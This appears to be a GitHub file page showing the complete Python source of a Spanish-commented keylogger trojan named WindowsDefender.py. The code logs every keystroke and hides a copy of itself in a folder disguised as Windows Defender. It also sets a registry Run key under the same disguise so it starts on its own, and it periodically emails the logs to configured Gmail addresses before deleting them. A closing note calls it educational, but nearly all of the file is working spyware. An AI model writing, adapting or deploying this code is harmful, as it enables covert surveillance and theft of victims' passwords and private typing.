forked from Aaronmaiden666/SpyTrojan_Keylogger
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathWindowsDefender.py
More file actions
388 lines (359 loc) · 17.1 KB
/
WindowsDefender.py
File metadata and controls
388 lines (359 loc) · 17.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
# ░██████╗██████╗░██╗░░░██╗ ████████╗██████╗░░█████╗░░░░░░██╗░█████╗░███╗░░██╗
# ██╔════╝██╔══██╗╚██╗░██╔╝ ╚══██╔══╝██╔══██╗██╔══██╗░░░░░██║██╔══██╗████╗░██║
# ╚█████╗░██████╔╝░╚████╔╝░ ░░░██║░░░██████╔╝██║░░██║░░░░░██║███████║██╔██╗██║
# ░╚═══██╗██╔═══╝░░░╚██╔╝░░ ░░░██║░░░██╔══██╗██║░░██║██╗░░██║██╔══██║██║╚████║
# ██████╔╝██║░░░░░░░░██║░░░ ░░░██║░░░██║░░██║╚█████╔╝╚█████╔╝██║░░██║██║░╚███║
# ╚═════╝░╚═╝░░░░░░░░╚═╝░░░ ░░░╚═╝░░░╚═╝░░╚═╝░╚════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░╚══╝
# ██╗░░██╗███████╗██╗░░░██╗██╗░░░░░░█████╗░░██████╗░░██████╗░███████╗██████╗░
# ██║░██╔╝██╔════╝╚██╗░██╔╝██║░░░░░██╔══██╗██╔════╝░██╔════╝░██╔════╝██╔══██╗
# █████═╝░█████╗░░░╚████╔╝░██║░░░░░██║░░██║██║░░██╗░██║░░██╗░█████╗░░██████╔╝
# ██╔═██╗░██╔══╝░░░░╚██╔╝░░██║░░░░░██║░░██║██║░░╚██╗██║░░╚██╗██╔══╝░░██╔══██╗
# ██║░╚██╗███████╗░░░██║░░░███████╗╚█████╔╝╚██████╔╝╚██████╔╝███████╗██║░░██║
# ╚═╝░░╚═╝╚══════╝░░░╚═╝░░░╚══════╝░╚════╝░░╚═════╝░░╚═════╝░╚══════╝╚═╝░░╚═╝ v3.4.0
# Librerías Utilizadas
from pynput.keyboard import Key, Listener
import pynput
from getpass import getuser # Obtiene el nombre del usuario
from datetime import datetime
from winreg import *
import datetime
import os
import yagmail
import shutil
import time
import threading # Hilos
import socket # Librería verifica internet
# Convierte tecla a un valor legible
def KeyConMin(argument): # Caracteres Comunes // Optimizados
switcher = {
# Vocales Minisculas
"'a'": "a",
"'e'": "e",
"'i'": "i",
"'o'": "o",
"'u'": "u",
# Letras Minusculas
"'b'": "b",
"'c'": "c",
"'d'": "d",
"'f'": "f",
"'g'": "g",
"'h'": "h",
"'j'": "j",
"'J'": "J",
"'k'": "k",
"'l'": "l",
"'m'": "m",
"'n'": "n",
"'ñ'": "ñ",
"'p'": "p",
"'q'": "q",
"'r'": "r",
"'s'": "s",
"'t'": "t",
"'v'": "v",
"'w'": "w",
"'x'": "x",
"'y'": "y",
"'z'": "z",
# Caracteres
"','": ",", # ,
"'.'": ".", # .
"'_'": "_", # _
"'-'": "-", # -
"':'": ":", #
# Vocales Mayúsculas
"'A'": "A",
"'E'": "E",
"'I'": "I",
"'O'": "O",
"'U'": "U",
# Letras Mayúsculas
"'B'": "B",
"'C'": "C",
"'D'": "D",
"'F'": "F",
"'G'": "G",
"'H'": "H",
"'K'": "K",
"'L'": "L",
"'M'": "M",
"'N'": "N",
"'Ñ'": "Ñ",
"'P'": "P",
"'Q'": "Q",
"'R'": "R",
"'S'": "S",
"'T'": "T",
"'V'": "V",
"'W'": "W",
"'X'": "X",
"'Y'": "Y",
"'Z'": "Z",
# Números Standard
"'1'": "1",
"'2'": "2",
"'3'": "3",
"'4'": "4",
"'5'": "5",
"'6'": "6",
"'7'": "7",
"'8'": "8",
"'9'": "9",
"'0'": "0",
# Caracteres Especiales
"'@'": "@", # @
"'#'": "#", # #
"'*'": "*", #
"'('": "(", # (
"')'": ")", # )
"'?'": "?", # ?
"'='": "=", # =
"'+'": "+", # +
"'!'": "!", # !
"'}'": "}", # }
"'{'": "{", # {}
"'´'": "´", # ´
"'|'": "|", # |
"'°'": "°", # °
"'^'": "¬", # ^
"';'": ";", #
"'$'": "$", # $
"'%'": "%", # %
"'&'": "&", # &
"'>'": ">", #
"'<'": "<", #
"'/'": "/", # /
"'¿'": "¿", # ¿
"'¡'": "¡", # ¡
"'~'": "~" #
}
return switcher.get(argument, "")
# Convierte tecla a un valor legible
def KeyConMax(argument): # Botones, comunes // Optimizados
switcher = {
"Key.space": " ", # Espacio
"Key.backspace": "«", # Borrar
"Key.enter": "\r\n", # Salto de linea
"Key.tab": " ", # Tabulación
"Key.delete":" «×» ", # Suprimir
# Números
"<96>": "0", # 0
"<97>": "1", # 1
"<98>": "2", # 2
"<99>": "3", # 3
"<100>": "4", # 4
"<101>": "5", # 5
"<102>": "6", # 6
"<103>": "7", # 7
"<104>": "8", # 8
"<105>": "9", # 9
# Números Númeral
"None<96>": "0", # 0
"None<97>": "1", # 1
"None<98>": "2", # 2
"None<99>": "3", # 3
"None<100>": "4", # 4
"None<101>": "5", # 5
"None<102>": "6", # 6
"None<103>": "7", # 7
"None<104>": "8", # 8
"None<105>": "9", # 9
# Teclas raras 2
"['^']": "^",
"['`']": "`", #
"['¨']": "¨", #
"['´']": "´", #
"<110>": ".", #
"None<110>": ".", #
"Key.alt_l": " [Alt L] ", #
"Key.alt_r": " [Alt R] ",
#"Key.shift_r": " [Shift R] ",
#"Key.shift": " [Shift L] ",
"Key.ctrl_r": " [Control R] ", #
"Key.ctrl_l": " [Control L] ", #
"Key.right" : " [Right] ", #
"Key.left" : " [Left] ", #
"Key.up" : " [Up]", #
"Key.down" : " [Down] ", #
#"'\x16'" : " [Pegó] ",
#"'\x18'" : " [Cortar] ",
#"'\x03'" : " [Copiar] ",
"Key.caps_lock" : " [Mayus lock] ",
#"Key.media_previous" : " ♫ ", #
#"Key.media_next" : " ♫→ ", #
#"Key.media_play_pause" : " ■ ♫ ■ ",#
"Key.cmd" : " [Windows] " #
}
return switcher.get(argument, "")
# Obtiene registro de teclas y guarda en un archivo log.txt
def Klogger():
try: # Intenta crear el archivo
log = os.environ.get('pylogger_file', os.path.expanduser(logKeyPath()+LogName()) )
T = datetime.datetime.now()
getTime = "Fecha: ["+ T.strftime("%A") + " " + T.strftime("%d") + " de " + T.strftime("%B") + "]\nHora: [" + T.strftime("%I")+ ":"+ T.strftime("%M")+ " "+ T.strftime("%p")+ " con " + T.strftime("%S") +" Segundos]\n"
with open (log, "a") as f:
f.write("\n--------------------------------------------\nUserName: ["+str(getuser()) +"]\n"+ str(getTime)+"--------------------------------------------\n\n")
except: # Si no puede crear el archivo, crea el directorio faltante
CreateDir() # Function: Crea el directorio Ejemplo: ==> C:\Users\Public\Security\Windows Defender
def on_press(key):
with open(log, "a") as f:
if (len(str(key))) <= 3:
print("Se oprimio la tecla: "+KeyConMin(str(key)))
f.write(KeyConMin(str(key)))
else:
print("Se oprimio la tecla: "+KeyConMax(str(key)))
f.write(KeyConMax(str(key)))
with Listener(on_press=on_press) as listener: # Escucha pulsaciones de teclas
listener.join()
# Envía los datos log.txt vía Gmail
def sendEmail(log, sender_email, sender_password, receiver_email):
try:
mifecha = datetime.datetime.now()
subject = "Data User: "+ str(getuser())
# Inicia Sesión
yag = yagmail.SMTP(user=sender_email, password=sender_password)
informacion = "\nFecha: "+ mifecha.strftime("%A") + " " + mifecha.strftime("%d") + " de " + mifecha.strftime("%B") + "\nHora: " + mifecha.strftime("%I")+ ":"+ mifecha.strftime("%M")+ " "+ mifecha.strftime("%p")+ " con " + mifecha.strftime("%S") +" Segundos"
# Cuerpo del mensaje
contents = [
"Información:\n\nNombre de Usuario: "+ str(getuser()) + informacion
]
yag.send(receiver_email, subject, contents, attachments=log )
print("[+] Se envió el correo correctamente")
return True
except:
print("[-] No se pudo envíar el correo")
return False
# Renombre el archivo log, antes de ser envíado
def Rename(name):
try:
CreateDir() # Crea el directorio ==> C:\Users\Public\Security\Windows Defender
# Copia el archivo
pathO = logKeyPath()+ LogName()
pathN = logKeyPath()+ name
os.rename(pathO, pathN)
except:
pass
# Función = Verifica si hay conexión a internet para poder envíar el log
def VerificarConexion():
con = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Creamos el socket de conexion
try: # Intenta conectarse al servidor de Google
con.connect(('www.google.com', 80))
con.close()
return True
except:
return False
# Crea el directorio oculto
def CreateDir():
try: # Intenta crear la dirección
os.makedirs(GetPathOcult())
except :
pass
try: # Intenta crear la dirección del registro de teclas..
os.makedirs(logKeyPath())
except :
pass
# Cópia él Keylogger a la carpeta oculta
def EscondeKey():
CreateDir() # Crea el directorio ==> C:\Users\Public\Security\Windows Defender
try:
with open(FilePath(), 'r') as f: # Verifica si el keylogger se encuentra oculto en el sistema
print("El keylogger ya se encontraba oculta en la carpeta: \n["+FilePath()+"]")
except :
print("El Keylogger no se encuentra escondido...\nSe tratará de esconderlo...")
try:
shutil.copy(GetNameKey() , FilePath()) # Intenta ocultar el keylogger en una carpeta
print("\nEl keylogger se escondió exitosamente en el sistema")
except:
print("\nHubo un problema al esconder el El keylogger")
# Intervalo de tiempo que se enviará el archivo log.txt
def SendLog():
n = 1 # Para renombre los archivos
while (True):
n = n+1
time.sleep(timeSend()*60)
if VerificarConexion(): # Continua solo si hay conexión
# Crea nombre del archivo
nameFile = str(getuser())+" "+str(n)+".txt"
#Renombra el archivo original
Rename(nameFile) # Cambia el archivo `log.txt` a `log2.txt`
#Envía el archivo renombrado
CreateDir() # Crea el directorio ==> C:\Users\Public\Security\Windows Defender
homedir = logKeyPath()+str(nameFile)
print("Proceso de envío")
if sendEmail(homedir, emailP(), passP() , ReceiveE()): # Envía con el primer correo
#Si se envíó correctamente, pues elimina el archivo
os.remove(homedir)
elif sendEmail(homedir, emailS(), passS() , ReceiveE()): # Envía con el segundo correo
os.remove(homedir)
else: # No hay conexión
# Seguirá sobreescribiendo el archivo # Verificar pruba de errores
# No hará nada, y esperará que haya una conexión exitosa
pass
def addStartup(): # function = Iniciar automaticamente
path = GetPathOcult()+ GetNameKey() # Path del Software completo
name = "Windows Defender Key" # Nombre del StartUp // Solo se ve en el registro *Regedit*
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run' # Path del registro
def verificar():
try: # Intenta crear la dirección
os.makedirs('C:\\Users\\Public\\Security\\Microsoft') # Carpeta especial de verificación de startup
return True # Se creó la carpeta
except:
return False# La carpeta ya existe
try: # Solo si tiene permisos de administrador
registry = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS) # machine
SetValueEx(registry,name, 0, REG_SZ, path)
verificar() # Crea Carpeta
except: # Si no tien permisos de administrador
if (verificar()):
registry = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) # local
SetValueEx(registry,name, 0, REG_SZ, path)
def GetPassChrome():
pass
# ************************************************ ZONA CUSTOM *********************************
def GetNameKey(): # Retorna el nombre del Keylogger compilado *.EXE
return "WindowsDefender.exe" # este archivo debe tener el mismo nombre "WindowsDefender.py"
def GetPathOcult(): # Path de la carpeta donde se ocultará el Keylogger y log.txt
return "C:\\Users\\Public\\Security\\Windows Defender\\"
def logKeyPath(): # Ruta del registro de teclas.
return "C:\\Users\\"+str(getuser()) +"\\AppData\\Roaming\\Microsoft\\"
def LogName(): # Nombre del registro de teclas
return ".k"
def FilePath():
return GetPathOcult()+GetNameKey()
# Correo de envío [Primaria]
def emailP(): # <<== Cambia éste correo
return "correo1@gmail.com"
def passP(): # <<== Contraseña del correo
return "pass1"
# Correo de envío [Segundaria] <=> Solo si hay algún problema de envío con el correo Principal
def emailS(): # <<== Cambia éste correo
return "correo2@gmail.com"
def passS(): # <<== Contraseña del correo
return "pass2"
def timeSend(): # Tiempo de Envío erzonalizado
return 120 # tiempo en minutos
#Correos que recibirán los archivos log
def ReceiveE():
#return ["Recibe1@gmail.com", "Recibe2@hotmail.com", "Recibe3@yahoo.com"] # MultiCorreo
return ["recibe@gmail.com"] # MonoCorreo
# ********************************************* FIN ZONA CUSTOM *******************************
# Inicio multihilo
if __name__ == '__main__':
EscondeKey() # Se replica dentro de la computadora
addStartup() # Modifica registro de arranque
p1 = threading.Thread(target=Klogger) # Registra teclas
p2 = threading.Thread(target=SendLog) # Enviar Registro
p2.start()
p1.start()
p1.join()
#################################################################
# #
# Developed by SebastianEPH #
# v.3.4.0 #
#################################################################
# NOTAS IMPORTANTES:
#
# *** Éste script fue creado solo con fines educativos, por ese detalle el script está documentado, no me hago responsabe por un posible mal uso de éste script***
#
# Lea la documentación antes de usar: https://github.com/SebastianEPH/SpyTrojan_Keylogger